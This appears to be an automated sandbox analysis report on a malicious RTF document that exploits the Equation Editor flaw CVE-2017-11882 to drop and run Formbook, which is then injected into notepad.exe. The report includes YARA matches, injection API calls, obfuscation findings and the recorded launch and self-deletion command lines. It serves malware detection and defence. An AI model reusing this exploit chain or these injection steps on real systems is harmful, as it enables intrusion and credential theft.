Source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: Client.exe PID: 316, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: notepad.exe PID: 2188, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: ipconfig.exe PID: 1800, type: MEMORYSTR Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp, type: DROPPED Matched rule: rtf_cve2017_11882_ole author = John Davison, description = Attempts to identify the exploit CVE 2017 11882, score = , sample = 51cf2a6c0c1a29abca9fd13cb22421da, reference = https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp, type: DROPPED Matched rule: EXP_potential_CVE_2017_11882 author = ReversingLabs, reference = https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\notepad.exe Code function: String function: 00AF3F92 appears 132 times
Source: C:\Windows\SysWOW64\notepad.exe Code function: String function: 00AF373B appears 245 times
Source: C:\Windows\SysWOW64\notepad.exe Code function: String function: 00AAE2A8 appears 38 times
Source: C:\Windows\SysWOW64\notepad.exe Code function: String function: 00B1F970 appears 84 times
Source: C:\Windows\SysWOW64\notepad.exe Code function: String function: 00AADF5C appears 121 times
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00322548 NtQuerySystemInformation, 6_2_00322548
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00322540 NtQuerySystemInformation, 6_2_00322540
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0037F248 NtResumeThread, 6_2_0037F248
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0037D898 NtWriteVirtualMemory, 6_2_0037D898
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0037CE80 NtAllocateVirtualMemory, 6_2_0037CE80
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0037D398 NtProtectVirtualMemory, 6_2_0037D398
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0037DD98 NtSetContextThread, 6_2_0037DD98
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004A0178 NtClose, 6_2_004A0178
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0240B2E0 NtWriteVirtualMemory, 6_2_0240B2E0
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0240B7B0 NtCreateThreadEx, 6_2_0240B7B0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A360 NtCreateFile, 9_2_0041A360
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A410 NtReadFile, 9_2_0041A410
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A490 NtClose, 9_2_0041A490
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A540 NtAllocateVirtualMemory, 9_2_0041A540
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A35A NtCreateFile, 9_2_0041A35A
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A40A NtReadFile, 9_2_0041A40A
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A48F NtClose, 9_2_0041A48F
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_0041A53C NtAllocateVirtualMemory, 9_2_0041A53C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA00C4 NtCreateFile,LdrInitializeThunk, 9_2_00AA00C4
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA0078 NtResumeThread,LdrInitializeThunk, 9_2_00AA0078
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA0048 NtProtectVirtualMemory,LdrInitializeThunk, 9_2_00AA0048
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9F9F0 NtClose,LdrInitializeThunk, 9_2_00A9F9F0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9F900 NtReadFile,LdrInitializeThunk, 9_2_00A9F900
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FAE8 NtQueryInformationProcess,LdrInitializeThunk, 9_2_00A9FAE8
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 9_2_00A9FAD0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FBB8 NtQueryInformationToken,LdrInitializeThunk, 9_2_00A9FBB8
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FB68 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_00A9FB68
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FC90 NtUnmapViewOfSection,LdrInitializeThunk, 9_2_00A9FC90
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FC60 NtMapViewOfSection,LdrInitializeThunk, 9_2_00A9FC60
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FD8C NtDelayExecution,LdrInitializeThunk, 9_2_00A9FD8C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FDC0 NtQuerySystemInformation,LdrInitializeThunk, 9_2_00A9FDC0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FEA0 NtReadVirtualMemory,LdrInitializeThunk, 9_2_00A9FEA0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 9_2_00A9FED0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FFB4 NtCreateSection,LdrInitializeThunk, 9_2_00A9FFB4
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA10D0 NtOpenProcessToken, 9_2_00AA10D0
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA0060 NtQuerySection, 9_2_00AA0060
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA01D4 NtSetValueKey, 9_2_00AA01D4
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA010C NtOpenDirectoryObject, 9_2_00AA010C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA1148 NtOpenThread, 9_2_00AA1148
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA07AC NtCreateMutant, 9_2_00AA07AC
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9F8CC NtWaitForSingleObject, 9_2_00A9F8CC
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9F938 NtWriteFile, 9_2_00A9F938
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA1930 NtSetContextThread, 9_2_00AA1930
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FAB8 NtQueryValueKey, 9_2_00A9FAB8
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FA20 NtQueryInformationFile, 9_2_00A9FA20
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FA50 NtEnumerateValueKey, 9_2_00A9FA50
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FBE8 NtQueryVirtualMemory, 9_2_00A9FBE8
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FB50 NtCreateKey, 9_2_00A9FB50
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FC30 NtOpenProcess, 9_2_00A9FC30
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FC48 NtSetInformationFile, 9_2_00A9FC48
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA0C40 NtGetContextThread, 9_2_00AA0C40
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AA1D80 NtSuspendThread, 9_2_00AA1D80
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FD5C NtEnumerateKey, 9_2_00A9FD5C
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FE24 NtWriteVirtualMemory, 9_2_00A9FE24
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FFFC NtCreateProcessEx, 9_2_00A9FFFC
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00A9FF34 NtQueueApcThread, 9_2_00A9FF34
Source: Client.exe.0.dr Static PE information: Section: 5++.8$ ZLIB complexity 1.0003371646578538
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$curiteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winRTF@11/9@2/2
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: explorer.exe, 0000000A.00000000.1030986946.0000000003B10000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: .VBPud<_
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf Virustotal: Detection: 43%
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf ReversingLabs: Detection: 21%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Console Write: ................................C.:.\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.n.o.t.e.p.a.d...e.x.e...........................B.........0.......0..... Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Console Write: ......................0.........A.c.c.e.s.s. .i.s. .d.e.n.i.e.d.........P1P.......4.t...........0.......................&.................0..... Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\cmd.exe CmD.exe /C %tmp%\Client.exe A C
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\SysWOW64\notepad.exe /Processid:{2BA893A4-E786-4AE6-9111-3506DE199247}
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\notepad.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\cmd.exe CmD.exe /C %tmp%\Client.exe A C Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\SysWOW64\notepad.exe /Processid:{2BA893A4-E786-4AE6-9111-3506DE199247} Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\notepad.exe" Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR5B39.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.1905.rtf Static file information: File size 2870044 > 1048576
Source: Binary string: ipconfig.pdb source: notepad.exe, 00000009.00000003.1040858153.000000000081C000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1043409063.0000000000030000.00000040.10000000.00040000.00000000.sdmp, notepad.exe, 00000009.00000002.1044510525.0000000000822000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ipconfig.pdbN source: notepad.exe, 00000009.00000003.1040858153.000000000081C000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1043409063.0000000000030000.00000040.10000000.00040000.00000000.sdmp, notepad.exe, 00000009.00000002.1044510525.0000000000822000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: notepad.pdb source: ipconfig.exe, 0000000B.00000002.1177312343.000000000271F000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 0000000B.00000002.1175813159.0000000000444000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: notepad.exe, notepad.exe, 00000009.00000003.950924763.0000000000900000.00000004.00000800.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1046378480.0000000000C10000.00000040.00000800.00020000.00000000.sdmp, notepad.exe, 00000009.00000003.949038674.00000000002A0000.00000004.00000800.00020000.00000000.sdmp, notepad.exe, 00000009.00000002.1044571883.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, ipconfig.exe, 0000000B.00000002.1176285668.0000000002220000.00000040.00000800.00020000.00000000.sdmp, ipconfig.exe, 0000000B.00000003.1044991591.0000000002090000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: notepad.pdbx source: ipconfig.exe, 0000000B.00000002.1177312343.000000000271F000.00000004.10000000.00040000.00000000.sdmp, ipconfig.exe, 0000000B.00000002.1175813159.0000000000444000.00000004.00000020.00020000.00000000.sdmp
Source: ~WRF{4F98E955-E40B-4BEE-AA1E-253D7E3CD6E7}.tmp.0.dr Initial sample: OLE indicators vbamacros = False
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00A286CE push es; ret 6_2_00A286E3
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00A24403 push esi; ret 6_2_00A24432
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_003290F2 pushfd ; ret 6_2_00329171
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_003290DA push esp; ret 6_2_003290F1
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00328F38 push eax; retn 002Dh 6_2_00328F39
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_003606AF push 036C4A39h; ret 6_2_003606B9
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004AA4B6 push esi; iretd 6_2_004AA4B7
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004AA8B5 push edi; retf 6_2_004AA8B6
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004D7CC7 push ecx; ret 6_2_004D7CCC
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004D7112 push es; iretd 6_2_004D7117
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00873EBF push ebx; retf 6_2_00873EC0
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_00873ABB push edi; iretd 6_2_00873ABC
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_008746BB push edx; ret 6_2_008746C1
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0087051F push es; iretd 6_2_00870533
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02407248 push 00000003h; ret 6_2_0240725D
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02401E4D push 00000003h; ret 6_2_02401E57
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02404E5A push 00000003h; ret 6_2_02404E71
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02403E63 push 00000003h; ret 6_2_02403E79
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02402671 push 00000003h; ret 6_2_0240267B
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02402E71 push 00000003h; ret 6_2_02402E74
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02406671 push 00000003h; ret 6_2_0240668E
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02404672 push 00000003h; ret 6_2_0240467C
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_0240261D push 00000003h; ret 6_2_02402627
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02406220 push 00000003h; ret 6_2_0240623C
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02400A22 push 00000003h; ret 6_2_02400A25
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02403E22 push 00000003h; ret 6_2_02403E25
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02406A32 push 00000003h; ret 6_2_02406A36
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02403633 push 00000003h; ret 6_2_02403636
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02405E3B push 00000003h; ret 6_2_02405E3E
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_024032E4 push 00000003h; ret 6_2_024032E7
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_02405AEF push 00000003h; ret 6_2_02405B20
PE file contains sections with non-standard names
Source: Client.exe.0.dr Static PE information: section name: 5++.8$
Source: Client.exe.0.dr Static PE information: section name:
Source: initial sample Static PE information: section name: 5++.8$ entropy: 7.999437666681734

Persistence and Installation Behavior
barindex
Uses ipconfig to lookup or modify the Windows network settings
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Drops PE files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\Client.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8F 0xFE 0xE6
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
